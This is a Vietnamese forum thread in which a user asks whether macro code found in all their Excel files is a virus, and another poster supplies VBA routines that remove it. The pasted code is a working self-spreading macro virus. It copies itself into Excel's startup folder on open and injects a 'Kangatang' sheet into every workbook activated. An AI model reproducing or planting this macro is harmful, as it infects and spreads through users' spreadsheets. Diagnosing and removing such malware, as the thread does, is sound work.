Cháu hỏi các bác và các anh chị đây có phải là virus không ạ

[hongphuong1997]

Tất cả các file excel ccủa cháu đều có mà này, cháu đã xóa đi roài nhưng nó lại xuất hiện trở lại.
Cháu kính nhờ các bác và các anh chị tiêu diệt hộ cháu với ạ.
Cháu cảm ơn ạ.

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = Triue
Application.EnableEvents = True
Application.ScreenUpdating = True
Application.DisplayStatusBar = True


On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub



Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = True
    Application.DisplayStatusBar = True
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

 

[PhanTuHuong]

Con virus chết tiệt này nó đẻ ra cả đống Module đó. Bạn chạy thủ tục này:

Sub KillVirus()
    Call DelKangatang
    Call KillFoxz
End Sub

'Xóa Module virus Kangatang
'Phan Tu Huong lâp
Sub DelKangatang()
    On Error Resume Next
  
    Dim ModulKang As Object
  
    For Each ModulKang In ThisWorkbook.VBProject.VBComponents
        If Left(ModulKang.Name, 9) = "Kangatang" Then
            ThisWorkbook.VBProject.VBComponents.Remove ModulKang
        End If
    Next
End Sub

'Diêt virus NEGS.xls
'Code suu tâm
Sub KillFoxz()
    Dim WB As Workbook
    On Error Resume Next
    Application.DisplayAlerts = False
    Application.EnableEvents = False
    For Each WB In Workbooks
        WB.Sheets("foxz").Delete
    Next
    With Workbooks("NEGS.XLS")
        .ChangeFileAccess xlReadOnly
        Kill .FullName
        .Close False
    End With
    Application.EnableEvents = True
    Application.DisplayAlerts = True
End Sub